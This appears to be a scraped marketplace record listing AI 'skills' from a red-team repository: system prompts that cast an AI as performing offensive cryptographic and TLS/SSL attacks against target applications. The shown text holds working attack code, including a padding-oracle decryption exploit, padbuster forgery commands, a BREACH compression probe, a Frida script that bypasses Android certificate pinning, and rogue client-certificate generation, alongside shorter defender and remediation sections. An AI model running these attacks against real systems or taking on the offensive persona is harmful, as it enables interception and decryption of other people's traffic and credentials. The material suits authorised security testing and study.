median > best_time:\n best_time = median\n best_byte = candidate\n\n return known_prefix + best_byte\n\n# Statistical enhancement: use percentile comparison to reduce noise\n# Network jitter requires 50-100+ samples per candidate in practice\n```\n\n---\n\n## AES-GCM Nonce Reuse\n\nAES-GCM nonce reuse is catastrophic. Reusing a nonce with the same key allows recovery of the authentication key (GHASH key H) and enables both decryption of XOR'd plaintexts and forgery of authentication tags.\n\n```python\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.number import long_to_bytes, bytes_to_long\nimport struct\n\ndef exploit_gcm_nonce_reuse(ct1, tag1, aad1, ct2, tag2, aad2, nonce):\n \"\"\"\n Given two ciphertexts encrypted under the same key and nonce,\n recover the GHASH key H and forge tags for arbitrary messages.\n XOR of ciphertexts yields XOR of plaintexts.\n \"\"\"\n # Recover plaintext XOR\n xor_plaintexts = bytes(a ^ b for a, b in zip(ct1, ct2))\n\n # Recover GHASH key H from the tag polynomial relationship\n # tag1 = GHASH(H, aad1, ct1) XOR E(K, nonce||0^31||1)\n # tag2 = GHASH(H, aad2, ct2) XOR E(K, nonce||0^31||1)\n # tag1 XOR tag2 = GHASH(H, aad1, ct1) XOR GHASH(H, aad2, ct2)\n # This yields a polynomial in H over GF(2^128)\n\n # The polynomial root gives H; use SageMath or a GF(2^128) library\n # for the actual field arithmetic\n print(f\"Plaintext XOR: {xor_plaintexts.hex()}\")\n print(\"Solve the GHASH polynomial in GF(2^128) to recover H\")\n return xor_plaintexts\n```\n\n---\n\n## Key Derivation Weaknesses\n\nTarget password-based key derivation with insufficient work factors:\n\n```python\nimport hashlib\nimport itertools\n\n# Weak KDF: single SHA-256 iteration, no salt\ndef crack_weak_kdf(target_key_hex, wordlist_path):\n \"\"\"Crack a key derived via single-pass SHA-256 of a password.\"\"\"\n target = bytes.fromhex(target_key_hex)\n with open(wordlist_path, 'r') as f:\n for word in f:\n word = word.strip()\n derived = hashlib.sha256(word.encode()).digest()\n if derived == target:\n return word\n return None\n\n# Detect weak PBKDF2 iteration counts\ndef check_pbkdf2_strength(iterations, algorithm=\"sha256\"):\n \"\"\"Flag insufficient PBKDF2 parameters per OWASP 2024 guidance.\"\"\"\n minimums = {\n \"sha1\": 1_300_000,\n \"sha256\": 600_000,\n \"sha512\": 210_000,\n }\n minimum = minimums.get(algorithm, 600_000)\n if iterations < minimum:\n print(f\"WEAK: {iterations} iterations of PBKDF2-{algorithm}\")\n print(f\"Minimum recommended: {minimum}\")\n return False\n return True\n```\n\n---\n\n## Detection / Defender View\n\nDefenders should monitor for the following indicators of cryptographic attacks:\n\n- **Padding oracle probing**: High volumes of requests to the same endpoint with incrementally modified ciphertext parameters. Look for request patterns where a single byte changes across hundreds of sequential requests. Alert on endpoints returning binary pass/fail for encrypted input.\n- **ECB detection probing**: Requests containing long runs of repeated characters (16+ identical bytes) submitted to encryption endpoints.\n- **Hash length extension**: URL parameters or cookies containing null bytes (`%00`) in positions that should be printable text. Message bodies that are longer than expected with padding artifacts.\n- **RSA parameter harvesting**: Repeated requests for public key endpoints, certificate downloads, or TLS handshake enumeration.\n- **Timing attacks**: Unusual request patterns with high concurrency to authentication or MAC verification endpoints. Statistical analysis of response time distributions showing stepped patterns.\n- **Nonce reuse**: Monitor encryption operations for counter resets or nonce collisions. Implement nonce-misuse-resistant AEAD modes (AES-GCM-SIV, XChaCha20-Poly1305) as defense in depth.\n\nRemediation priorities: migrate from CBC to authenticated encryption (AES-GCM, ChaCha20-Poly1305), use HMAC instead of `H(secret||message)`, enforce minimum 2048-bit RSA keys with OAEP padding, use cryptographically secure RNGs (`secrets` module, `/dev/urandom`), implement constant-time comparison for all secret values, and enforce OWASP-recommended PBKDF2 iteration counts or migrate to Argon2id.\n\n---\n\n## Engagement Cheatsheet\n\n| Target | Tool / Technique | First Step |\n|------------------------|---------------------------|-----------------------------------------------|\n| Encrypted cookie (CBC) | padbuster | Modify last byte, observe response difference |\n| Encrypted token (ECB) | Custom Python | Send repeated blocks, check for repetition |\n| MAC = H(secret+msg) | hashpumpy | Confirm Merkle-Damgard hash, try extensions |\n| RSA public key | RsaCtfTool | Extract n and e, check key size and factors |\n| Session token (PRNG) | Custom Python | Collect 624+ outputs, clone MT state |\n| Auth endpoint | Timing script | Measure response time per byte position |\n| AES-GCM encrypted API | Custom Python / SageMath | Detect nonce reuse across captured messages |\n| Password-derived key | hashcat / custom script | Identify KDF, check iteration count |\n\nCiphertext identification heuristics:\n- Length is multiple of 8 bytes: likely DES/3DES in CBC/ECB.\n- Length is multiple of 16 bytes: likely AES in CBC/ECB.\n- Length is plaintext + 16 bytes (tag): likely AES-GCM.\n- Fixed-length output regardless of input: likely a hash, not encryption.\n\n---\n\n## Key References\n\n- Vaudenay, S. \"Security Flaws Induced by CBC Padding.\" EUROCRYPT 2002.\n- Bleichenbacher, D. \"Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS#1.\" CRYPTO 1998.\n- Duong, T. and Rizzo, J. \"Practical Padding Oracle Attacks.\" USENIX WOOT 2010.\n- Coppersmith, D. \"Small Solutions to Polynomial Equations, and Low Exponent RSA Vulnerabilities.\" Journal of Cryptology, 1997.\n- Joux, A. \"Authentication Failures in NIST version of GCM.\" NIST Comment, 2006.\n- CWE-327: Use of a Broken or Risky Cryptographic Algorithm.\n- CWE-328: Use of Weak Hash.\n- CWE-330: Use of Insufficiently Random Values.\n- OWASP Password Storage Cheat Sheet (PBKDF2/Argon2id iteration guidance).\n- RsaCtfTool: https://github.com/RsaCtfTool/RsaCtfTool\n- padbuster: https://github.com/AonCyberLabs/PadBuster\n- hashpumpy: https://github.com/bwall/HashPump","schemaVersion":1},"repoUrl":"https://github.com/SnailSploit/Claude-Red/tree/main/Skills/crypto/offensive-crypto-attacks","tags":["claude-ai","claude-pt","claude-skills","redteam","redteam-tools","skills","prompt"],"stats":{"installVelocity7d":0,"retentionRate":0,"executions":0,"rating":null},"origin":"github","source":{"repo":"Claude-Red","audit":{"files":[],"binaries":[],"findings":[],"packages":0,"auditedAt":"2026-09-25T10:52:29.874Z","lockfiles":[]},"forks":901,"owner":"SnailSploit","stars":6898,"topics":["claude-ai","claude-pt","claude-skills","redteam","redteam-tools","skills"],"license":"MIT","fullName":"SnailSploit/Claude-Red","homepage":null,"language":"Python","pushedAt":"2026-09-19T23:46:22Z","avatarUrl":"https://avatars.githubusercontent.com/u/95986478?v=4","crawledAt":"2026-09-25T10:52:19.624Z","openIssues":15,"manifestFile":"SKILL.md","manifestPath":"Skills/crypto/offensive-crypto-attacks/SKILL.md","defaultBranch":"main"},"readme":"# Cryptographic Implementation Attacks\n\nYou are performing offensive cryptographic analysis against target applications. This skill covers the identification and exploitation of flawed cryptographic implementations -- not breaks against the underlying mathematical primitives, but against the ways developers misuse them. You treat every encrypted blob, signed token, and hashed value as a potential attack surface.\n\n## Quick Workflow\n\n1. Identify cryptographic touchpoints -- cookies, tokens, API parameters, stored credentials, signed URLs.\n2. Fingerprint the algorithm and mode -- measure ciphertext length behavior, detect block alignment, check for Base64/hex encoding layers.\n3. Classify the vulnerability class -- padding oracle, ECB determinism, weak MAC construction, RSA parameter weakness, PRNG predictability.\n4. Select and configure the appropriate tool or custom script.\n5. Execute the attack, decrypt or forge the target value.\n6. Document the cryptographic weakness, its root cause, and the remediation path.\n\n---\n\n## Padding Oracle Attacks\n\nPadding oracle attacks exploit systems that reveal whether CBC-mode decrypted plaintext has valid PKCS7 padding. A single bit of information -- valid or invalid padding -- is sufficient to decrypt any ciphertext block or forge arbitrary plaintext without knowing the key.\n\nIdentify the oracle by submitting modified ciphertext and observing differential responses. The oracle can manifest as distinct HTTP status codes, different error messages, timing differences, or behavioral changes in application logic.\n\nUse padbuster for automated exploitation against web applications:\n\n```bash\n# Decrypt an encrypted cookie value\n# URL is the endpoint, EncryptedValue is the target, BlockSize is typically 8 or 16\npadbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \\\n -cookies \"session=EncryptedValue\" \\\n -encoding 0 \\\n -error \"invalid\"\n\n# Forge a new plaintext value using the discovered oracle\npadbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \\\n -cookies \"session=EncryptedValue\" \\\n -encoding 0 \\\n -error \"invalid\" \\\n -plaintext \"admin=true;user=attacker\"\n```\n\nBuild a custom padding oracle exploit when padbuster cannot handle the target's encoding or transport:\n\n```python\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad, unpad\nimport requests\nimport struct\n\ndef oracle(iv, ciphertext, url):\n \"\"\"Return True if the server accepts the padding.\"\"\"\n payload = (iv + ciphertext).hex()\n resp = requests.get(url, params={\"data\": payload})\n return resp.status_code != 500 # Adapt to your oracle signal\n\ndef decrypt_block(prev_block, cipher_block, url, block_size=16):\n \"\"\"Decrypt a single block via Vaudenay's attack.\"\"\"\n intermediate = bytearray(block_size)\n plaintext = bytearray(block_size)\n\n for byte_pos in range(block_size - 1, -1, -1):\n pad_val = block_size - byte_pos\n crafted_iv = bytearray(block_size)\n\n # Set already-recovered bytes to produce correct padding\n for k in range(byte_pos + 1, block_size):\n crafted_iv[k] = intermediate[k] ^ pad_val\n\n for guess in range(256):\n crafted_iv[byte_pos] = guess\n if oracle(bytes(crafted_iv), cipher_block, url):\n # Handle the ambiguity on the last byte\n if byte_pos == block_size - 1:\n crafted_iv[byte_pos - 1] ^= 1\n if not oracle(bytes(crafted_iv), cipher_block, url):\n continue\n intermediate[byte_pos] = guess ^ pad_val\n plaintext[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]\n break\n\n return bytes(plaintext)\n```\n\n---\n\n## ECB Block Manipulation\n\nECB mode encrypts each block independently with the same key, producing identical ciphertext for identical plaintext blocks. This determinism enables two primary attacks: cut-and-paste block rearrangement and byte-at-a-time decryption.\n\nDet","createdAt":"2026-09-25T10:52:30.576Z","updatedAt":"2026-09-25T10:52:30.576Z"},{"id":"cmugudcsd0148qu06haismu59","slug":"snailsploit-claude-red-offensive-tls-attacks","name":"offensive-tls-attacks","description":"Comprehensive methodology for auditing and exploiting TLS/SSL implementations and misconfigurations across network services and mobile applications. Covers protocol downgrade attacks including POODLE (CVE-2014-3566) against SSLv3 CBC padding, DROWN (CVE-2016-0800) cross-protocol attack leveraging SSLv2 export ciphers to decrypt TLS sessions, and FREAK (CVE-2015-0204) forcing RSA export-grade key exchange. Addresses BEAST (CVE-2011-3389) exploiting CBC IV predictability in TLS 1.0, CRIME (CVE-2012-4929) and BREACH targeting TLS-level and HTTP-level compression oracles respectively, and Heartbleed (CVE-2014-0160) for OpenSSL memory disclosure. Covers certificate validation bypass techniques for applications with improper hostname verification or chain validation, certificate pinning bypass using Frida and Objection for mobile application interception, HSTS bypass via NTP manipulation and subdomain exploitation, TLS 1.3 0-RTT replay attacks against non-idempotent endpoints, mutual TLS (mTLS) authentication attacks including client certificate theft and relay, and Certificate Transparency log monitoring for reconnaissance. Primary tooling includes testssl.sh for comprehensive TLS auditing, sslyze for Python-integrated scanning, sslscan for quick cipher enumeration, and tlsx for high-speed TLS probing at scale. Maps to CWE-295 (Improper Certificate Validation), CWE-319 (Cleartext Transmission of Sensitive Information), and CWE-757 (Selection of Less-Secure Algorithm During Negotiation).","authorId":"gh:snailsploit","authorName":"SnailSploit","version":"0.1.0","category":"Prompt","securityLevel":"Community","downloadsCount":0,"githubStars":6898,"pricePerCall":0,"manifest":{"name":"offensive-tls-attacks","tools":[],"category":"Prompt","entrypoint":{"type":"prompt"},"description":"Comprehensive methodology for auditing and exploiting TLS/SSL implementations and misconfigurations across network services and mobile applications. Covers protocol downgrade attacks including POODLE (CVE-2014-3566) against SSLv3 CBC padding, DROWN (CVE-2016-0800) cross-protocol attack leveraging SSLv2 export ciphers to decrypt TLS sessions, and FREAK (CVE-2015-0204) forcing RSA export-grade key exchange. Addresses BEAST (CVE-2011-3389) exploiting CBC IV predictability in TLS 1.0, CRIME (CVE-2012-4929) and BREACH targeting TLS-level and HTTP-level compression oracles respectively, and Heartbleed (CVE-2014-0160) for OpenSSL memory disclosure. Covers certificate validation bypass techniques for applications with improper hostname verification or chain validation, certificate pinning bypass using Frida and Objection for mobile application interception, HSTS bypass via NTP manipulation and subdomain exploitation, TLS 1.3 0-RTT replay attacks against non-idempotent endpoints, mutual TLS (mTLS) authentication attacks including client certificate theft and relay, and Certificate Transparency log monitoring for reconnaissance. Primary tooling includes testssl.sh for comprehensive TLS auditing, sslyze for Python-integrated scanning, sslscan for quick cipher enumeration, and tlsx for high-speed TLS probing at scale. Maps to CWE-295 (Improper Certificate Validation), CWE-319 (Cleartext Transmission of Sensitive Information), and CWE-757 (Selection of Less-Secure Algorithm During Negotiation).","permissions":[],"systemPrompt":"# TLS/SSL Attacks and Misconfiguration Exploitation\n\nYou are performing offensive TLS/SSL analysis against target infrastructure. This skill covers the full attack surface of transport layer security -- from protocol-level cryptographic weaknesses to implementation bugs, certificate validation failures, and deployment misconfigurations. You treat every TLS handshake as an opportunity for enumeration and every certificate chain as a trust boundary to probe.\n\n## Quick Workflow\n\n1. Enumerate the target's TLS configuration -- supported protocols, cipher suites, certificate chain, extensions.\n2. Identify deprecated protocols (SSLv2, SSLv3, TLS 1.0, TLS 1.1) and weak cipher suites (export, NULL, RC4, DES, 3DES).\n3. Check for known protocol vulnerabilities -- POODLE, DROWN, FREAK, BEAST, Heartbleed.\n4. Test compression oracle exposure -- CRIME at the TLS layer, BREACH at the HTTP layer.\n5. Validate certificate handling -- chain verification, hostname matching, pinning enforcement, revocation checking.\n6. Assess TLS 1.3 features -- 0-RTT replay, downgrade sentinel presence, supported groups.\n7. For mobile targets, bypass certificate pinning and intercept traffic.\n8. Document findings with protocol evidence and remediation priorities.\n\n---\n\n## TLS Enumeration and Scanning\n\nBegin every TLS engagement with comprehensive enumeration. Use testssl.sh as the primary tool -- it requires no dependencies beyond bash and OpenSSL and produces detailed output covering protocols, ciphers, vulnerabilities, and certificate details.\n\n```bash\n# Full scan with all checks, output to JSON and HTML\ntestssl.sh --jsonfile results.json --htmlfile results.html \\\n --ip one --sneaky --warnings batch \\\n target.com:443\n\n# Quick protocol and cipher check\ntestssl.sh --protocols --ciphers target.com:443\n\n# Check only for specific vulnerabilities\ntestssl.sh --heartbleed --ccs-injection --ticketbleed \\\n --robot --poodle --beast --crime --breach --drown --freak \\\n --logjam --sweet32 target.com:443\n\n# Scan multiple targets from a file\ntestssl.sh --file targets.txt --parallel 10 --jsonfile bulk_results.json\n```\n\nUse sslyze for Python-integrated scanning and CI/CD pipeline integration:\n\n```bash\n# Standard scan with all plugins\nsslyze --regular target.com\n\n# JSON output for programmatic processing\nsslyze --json_out results.json target.com\n\n# Check specific vulnerability classes\nsslyze --heartbleed --openssl_ccs --robot target.com\n\n# Scan with client certificate authentication\nsslyze --cert /path/to/client.pem --key /path/to/client.key target.com\n```\n\nUse sslscan for rapid cipher enumeration and tlsx for high-speed probing at scale:\n\n```bash\n# sslscan quick enumeration\nsslscan --no-fallback target.com:443\n\n# tlsx high-speed probing across many hosts\ncat hosts.txt | tlsx -p 443,8443,9443 -json -o tls_results.json\n\n# tlsx specific checks\ncat hosts.txt | tlsx -san -cn -so -json # Extract SANs, CNs, server orgs\ncat hosts.txt | tlsx -tls-version tls10 # Find hosts still accepting TLS 1.0\ncat hosts.txt | tlsx -expired -self-signed -mismatched # Certificate issues\n```\n\n---\n\n## Protocol Downgrade Attacks\n\nProtocol downgrade attacks force a TLS connection to negotiate a weaker protocol version that has known vulnerabilities. These attacks exploit the backward-compatible fallback mechanisms built into TLS.\n\n**POODLE (CVE-2014-3566)** exploits the non-deterministic padding in SSLv3 CBC mode. Unlike TLS, SSLv3 does not specify the padding byte values, and the receiver does not verify them -- only the padding length byte matters. This allows an active attacker to decrypt one byte of plaintext per 256 requests on average.\n\n```bash\n# Check if the target supports SSLv3\ntestssl.sh --poodle target.com:443\nopenssl s_client -ssl3 -connect target.com:443\n\n# TLS POODLE variant: check for CBC padding oracle in TLS implementations\ntestssl.sh --poodle target.com:443\n# Look for \"POODLE, TLS\" in output -- indicates vulnerable TLS implementation\n```\n\n**DROWN (CVE-2016-0800)** is a cross-protocol attack. If a server (or any server sharing the same RSA key) supports SSLv2, an attacker can decrypt passively captured TLS sessions. The attack adapts Bleichenbacher's RSA padding oracle using SSLv2 export cipher handshakes.\n\n```bash\n# Check for SSLv2 support (direct DROWN)\ntestssl.sh --drown target.com:443\n\n# Check with OpenSSL (requires a build with SSLv2 enabled)\nopenssl s_client -ssl2 -connect target.com:443\n\n# General DROWN also applies when another server shares the same RSA key\n# Extract the certificate and search for key reuse across infrastructure\nopenssl s_client -connect target.com:443 /dev/null | \\\n openssl x509 -noout -modulus | md5sum\n# Compare this modulus hash across all servers in scope\n```\n\n**FREAK (CVE-2015-0204)** forces a downgrade to RSA_EXPORT cipher suites with 512-bit RSA keys, which are factorable in hours on commodity hardware:\n\n```bash\n# Check for export cipher support\ntestssl.sh --freak target.com:443\nsslyze --openssl_ccs target.com\n\n# Enumerate export ciphers directly\nopenssl s_client -cipher EXPORT -connect target.com:443\nnmap --script ssl-enum-ciphers -p 443 target.com | grep -i export\n```\n\n---\n\n## BEAST Attack\n\nBEAST (CVE-2011-3389) exploits the predictable IV in TLS 1.0 CBC mode. In TLS 1.0, the IV for each record is the last ciphertext block of the previous record, making it known to an attacker who can observe the ciphertext. Combined with a chosen-plaintext capability (via JavaScript in a browser), this enables blockwise decryption of targeted bytes.\n\n```bash\n# Check for BEAST vulnerability\ntestssl.sh --beast target.com:443\n\n# Verify TLS 1.0 with CBC ciphers is available\nopenssl s_client -tls1 -cipher 'AES128-SHA' -connect target.com:443\n```\n\nBEAST requires the attacker to inject chosen plaintext into the same TLS connection (typically via JavaScript in adjacent browser contexts). Modern mitigations include 1/n-1 record splitting (implemented in all current browsers) and upgrading to TLS 1.2+ where explicit IVs are used.\n\nConfirm the condition: if `openssl s_client -tls1 -cipher 'ALL:!eNULL'` negotiates any CBC cipher, the connection is BEAST-eligible. Cross-reference the server's JA3S fingerprint to verify TLS 1.0 negotiation.\n\n---\n\n## CRIME and BREACH\n\n**CRIME (CVE-2012-4929)** exploits TLS-level compression. When TLS compression is enabled, an attacker who can inject chosen plaintext into a request and observe the compressed ciphertext length can recover secret values (such as session cookies) one byte at a time.\n\n```bash\n# Check for TLS compression\ntestssl.sh --crime target.com:443\nopenssl s_client -connect target.com:443 | grep -i compression\n# \"Compression: NONE\" means not vulnerable to CRIME\n```\n\n**BREACH** exploits HTTP-level compression (gzip/deflate) and is far more prevalent than CRIME because HTTP compression is almost universally enabled. The attack recovers secrets that appear in HTTP response bodies alongside attacker-reflected input.\n\n```bash\n# Check for BREACH preconditions\ntestssl.sh --breach target.com:443\n\n# Manual check: verify HTTP compression is enabled\ncurl -sI -H \"Accept-Encoding: gzip, deflate\" https://target.com/ | \\\n grep -i content-encoding\n# \"Content-Encoding: gzip\" combined with reflected input + secrets in body = vulnerable\n```\n\n```python\nimport requests\nimport string\n\ndef breach_probe(url, known_prefix, charset=string.ascii_letters + string.digits):\n \"\"\"\n BREACH oracle: measure compressed response length to recover secrets.\n Requires: HTTP compression enabled, secret in response body,\n attacker can inject chosen text that is reflected in the same response.\n \"\"\"\n results = {}\n for c in charset:\n candidate = known_prefix + c\n # Inject candidate via a reflected parameter\n resp = requests.get(url, params={\"search\": candidate},\n headers={\"Accept-Encoding\": \"gzip\"})\n # The response object's content is decompressed; use raw socket\n # or measure the actual wire bytes for a real attack.\n # Here we demonstrate the concept:\n results[c] = len(resp.content)\n\n # The correct byte compresses better (shorter response)\n best = min(results, key=results.get)\n return known_prefix + best\n\n# BREACH mitigations: disable HTTP compression for pages containing secrets,\n# add random padding to responses, use per-request CSRF tokens,\n# separate secret-bearing responses from reflected-input responses\n```\n\n---\n\n## Heartbleed (CVE-2014-0160)\n\nHeartbleed is a buffer over-read in OpenSSL's TLS heartbeat extension (OpenSSL 1.0.1 through 1.0.1f). A malformed heartbeat request causes the server to return up to 64KB of process memory per request, potentially exposing private keys, session cookies, credentials, and other sensitive data.\n\n```bash\n# Test for Heartbleed\ntestssl.sh --heartbleed target.com:443\nsslyze --heartbleed target.com\n\n# Nmap script\nnmap -p 443 --script ssl-heartbleed target.com\n\n# Manual test with OpenSSL\n# This requires a version of OpenSSL that supports the heartbeat extension\nopenssl s_client -connect target.com:443 -tlsextdebug 2>&1 | \\\n grep -i heartbeat\n```\n\nThe attack sends a TLS heartbeat request declaring a large payload length (up to 16384 bytes) but including only a single byte of actual payload. Vulnerable OpenSSL versions return the declared length from process memory. Each request leaks up to 64KB; repeated requests may expose private keys, session tokens, and credentials from different memory regions. Use the Nmap script or testssl.sh for reliable detection; for manual exploitation, existing PoC scripts (heartbleed.py variants) handle the raw TLS handshake and heartbeat framing.\n\n---\n\n## Certificate Validation Bypass\n\nApplications that fail to properly validate TLS certificates create interception opportunities. Common flaws include disabled verification, missing hostname checks, accepting self-signed certificates, and incomplete chain validation.\n\n```python\n# Detect applications with disabled certificate verification\n# These patterns indicate vulnerable implementations:\n\n# Python requests - disabled verification\n# requests.get(url, verify=False)\n\n# Python urllib3 - disabled warnings indicate suppressed verification\n# urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n# Node.js - disabled TLS rejection\n# process.env.NODE_TLS_REJECT_UNAUTHORIZED = \"0\"\n\n# Java - TrustAllCerts pattern\n# TrustManager[] trustAllCerts = new TrustManager[] {\n# new X509TrustManager() {\n# public void checkClientTrusted(...) {}\n# public void checkServerTrusted(...) {}\n# }\n# };\n\n# cURL - insecure flag\n# curl -k / curl --insecure\n```\n\nSearch for these patterns in source code and configuration files during assessments:\n\n```bash\n# Search for disabled certificate verification in codebases\ngrep -rn \"verify=False\" --include=\"*.py\" .\ngrep -rn \"CERT_NONE\" --include=\"*.py\" .\ngrep -rn \"NODE_TLS_REJECT_UNAUTHORIZED\" --include=\"*.js\" .\ngrep -rn \"InsecureTrustManagerFactory\" --include=\"*.java\" .\ngrep -rn \"TrustAllCerts\\|trustAllCerts\\|ALLOW_ALL\" --include=\"*.java\" .\ngrep -rn \"AllowAllHostnameVerifier\\|NoopHostnameVerifier\" --include=\"*.java\" .\ngrep -rn \"ServerCertificateValidationCallback\" --include=\"*.cs\" .\ngrep -rn \"InsecureSkipVerify.*true\" --include=\"*.go\" .\n```\n\n---\n\n## Certificate Pinning Bypass\n\nMobile applications that implement certificate pinning require active bypass techniques for traffic interception. Use Frida and Objection for runtime instrumentation.\n\n```bash\n# Objection: automated pinning bypass for Android and iOS\n# Launch the target application with Objection\nobjection -g com.target.app explore\n\n# Inside the Objection REPL:\n# Disable SSL pinning (covers common pinning libraries)\nandroid sslpinning disable\n# or for iOS:\nios sslpinning disable\n```\n\n```bash\n# Frida: custom pinning bypass scripts\n\n# Android: bypass OkHttp CertificatePinner\nfrida -U -f com.target.app -l bypass_pinning.js --no-pause\n\n# Universal Android SSL pinning bypass with Frida\nfrida -U -f com.target.app --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida\n```\n\n```javascript\n// bypass_pinning.js - Frida script for Android SSL pinning bypass\n// Covers OkHttp, TrustManager, WebView, and common pinning libraries\n\nJava.perform(function() {\n // Bypass OkHttp3 CertificatePinner\n try {\n var CertificatePinner = Java.use('okhttp3.CertificatePinner');\n CertificatePinner.check.overload('java.lang.String', 'java.util.List')\n .implementation = function(hostname, peerCertificates) {\n console.log('[+] OkHttp3 CertificatePinner bypassed for: ' + hostname);\n return;\n };\n } catch (e) {\n console.log('[-] OkHttp3 not found');\n }\n\n // Bypass custom TrustManager\n try {\n var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');\n var SSLContext = Java.use('javax.net.ssl.SSLContext');\n\n var TrustManager = Java.registerClass({\n name: 'com.bypass.TrustManager',\n implements: [X509TrustManager],\n methods: {\n checkClientTrusted: function(chain, authType) {},\n checkServerTrusted: function(chain, authType) {},\n getAcceptedIssuers: function() { return []; }\n }\n });\n\n var TrustManagers = [TrustManager.$new()];\n var sslContext = SSLContext.getInstance('TLS');\n sslContext.init(null, TrustManagers, null);\n console.log('[+] Custom TrustManager installed');\n } catch (e) {\n console.log('[-] TrustManager bypass failed: ' + e);\n }\n\n // Bypass Android WebView SSL errors\n try {\n var WebViewClient = Java.use('android.webkit.WebViewClient');\n WebViewClient.onReceivedSslError.implementation = function(view, handler, error) {\n console.log('[+] WebView SSL error bypassed');\n handler.proceed();\n };\n } catch (e) {\n console.log('[-] WebViewClient bypass not applicable');\n }\n});\n```\n\n```bash\n# For rooted Android devices: install a system CA certificate\n# Convert your proxy CA to Android format\nopenssl x509 -inform PEM -subject_hash_old -in proxy_ca.pem | head -1\n# Rename to .0\ncp proxy_ca.pem 9a5ba575.0\nadb push 9a5ba575.0 /system/etc/security/cacerts/\nadb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0\n```\n\n---\n\n## HSTS Bypass and TLS Stripping\n\nHSTS prevents downgrade from HTTPS to HTTP, but it has inherent bootstrap and scope weaknesses.\n\n```bash\n# Check HSTS configuration\ncurl -sI https://target.com | grep -i strict-transport-security\n\n# Verify HSTS preload status\n# Check https://hstspreload.org/?domain=target.com\n\n# sslstrip2 (Leonardo Nve's HSTS bypass) works by:\n# 1. Stripping HTTPS links on first visit (before HSTS is cached)\n# 2. Replacing domains with similar subdomains not covered by HSTS\n# 3. Proxying the real HTTPS connection on the attacker side\n\n# mitmproxy with sslstrip mode\nmitmproxy --mode transparent --ssl-insecure --set block_global=false\n```\n\nHSTS bypass vectors:\n- **First visit**: HSTS is trust-on-first-use. If the user has never visited the site and the site is not on the preload list, the initial HTTP request can be intercepted.\n- **Subdomain scope**: `includeSubDomains` is often missing. Attack via `http://sub.target.com` even if `target.com` has HSTS.\n- **NTP manipulation**: HSTS entries expire. If you can manipulate the client's clock (via NTP spoofing on the local network), cached HSTS policies can be aged out.\n- **Private browsing**: Some browsers do not persist HSTS across private browsing sessions.\n\n---\n\n## TLS 1.3 -- 0-RTT Replay\n\nTLS 1.3 eliminates most legacy attacks but introduces 0-RTT (Early Data) which is explicitly not replay-protected. Servers that accept 0-RTT data for non-idempotent operations are vulnerable to replay attacks.\n\n```bash\n# Check if the server accepts 0-RTT early data\nopenssl s_client -connect target.com:443 -tls1_3 -sess_out session.pem\nopenssl s_client -connect target.com:443 -tls1_3 -sess_in session.pem \\\n -early_data request.txt\n\n# testssl.sh checks for 0-RTT\ntestssl.sh --grease target.com:443\n```\n\nThe two-step openssl test above is definitive: if the second connection succeeds and the server processes the early data file, 0-RTT is accepted. A network attacker who captures the ClientHello and early data from a legitimate connection can replay it verbatim. Target non-idempotent endpoints -- fund transfers, account modifications, order submissions -- where replay has material impact. Servers should implement anti-replay per RFC 8446 Section 8 or reject 0-RTT entirely for state-changing operations.\n\n---\n\n## mTLS Attacks\n\nMutual TLS authentication presents additional attack surfaces around client certificate handling.\n\n```bash\n# Enumerate mTLS requirements\nopenssl s_client -connect target.com:443 2>&1 | grep -A5 \"Acceptable client\"\n\n# Test with a stolen or self-signed client certificate\nopenssl s_client -connect target.com:443 \\\n -cert client.pem -key client.key -CAfile ca.pem\n\n# Generate a rogue client certificate matching the expected CN/OU\nopenssl req -x509 -newkey rsa:2048 -keyout rogue.key -out rogue.pem \\\n -days 365 -nodes \\\n -subj \"/CN=legitimate-service/O=Target Corp/OU=Engineering\"\n\n# Check if the server validates the issuing CA or just the certificate fields\nopenssl s_client -connect target.com:443 -cert rogue.pem -key rogue.key\n```\n\nAttack vectors against mTLS:\n- **Missing CA validation**: Server accepts any client certificate regardless of issuer.\n- **Overly broad CA trust**: Server trusts a CA that also issues certificates to unrelated parties.\n- **Client certificate theft**: Extract client certificates from keystores, environment variables, CI/CD pipelines, or container images.\n- **Certificate relay**: Forward client certificate challenges to a legitimate client and relay responses.\n\n---\n\n## Certificate Transparency Monitoring\n\nCT logs are a reconnaissance goldmine. Every publicly trusted certificate is logged, revealing subdomains, internal hostnames, and infrastructure changes.\n\n```bash\n# Query CT logs via crt.sh\ncurl -s \"https://crt.sh/?q=%25.target.com&output=json\" | \\\n python3 -c \"\nimport json, sys\ndata = json.load(sys.stdin)\ndomains = set()\nfor entry in data:\n name = entry.get('name_value', '')\n for d in name.split('\\n'):\n domains.add(d.strip())\nfor d in sorted(domains):\n print(d)\n\"\n\n# Monitor for new certificates in real-time\n# Use certstream for live CT log monitoring\npip install certstream\n\n# certstream_monitor.py\npython3 -c \"\nimport certstream\n\ndef callback(message, context):\n if message['message_type'] == 'certificate_update':\n all_domains = message['data']['leaf_cert']['all_domains']\n for domain in all_domains:\n if 'target.com' in domain:\n print(f'New cert: {domain}')\n\ncertstream.listen_for_events(callback, url='wss://certstream.calidog.io/')\n\"\n```\n\n```bash\n# Enumerate subdomains from CT logs using subfinder or amass\nsubfinder -d target.com -sources crtsh\namass enum -d target.com -src -ip\n```\n\n---\n\n## Detection / Defender View\n\nDefenders should monitor for the following indicators of TLS attacks:\n\n- **Downgrade probes**: Connections attempting SSLv2, SSLv3, or TLS 1.0 from modern client fingerprints. A client advertising a modern TLS stack but then falling back to SSLv3 is suspicious. Log and alert on protocol version mismatches between ClientHello capabilities and the negotiated version.\n- **Heartbleed scanning**: Heartbeat requests with a declared payload length larger than the actual payload. IDS signatures exist for the malformed heartbeat pattern. Monitor for repeated heartbeat requests from the same source.\n- **Compression oracle probing**: Rapid sequences of requests with incrementally varying parameters to the same endpoint, combined with precise response size measurement. This pattern indicates BREACH or CRIME exploitation attempts.\n- **Certificate pinning bypass**: On mobile backends, monitor for connections from known application builds that present unexpected TLS client fingerprints (JA3/JA4 hashes) -- this indicates an instrumented runtime.\n- **0-RTT replay**: Monitor application logs for duplicated non-idempotent operations. Implement server-side replay caches 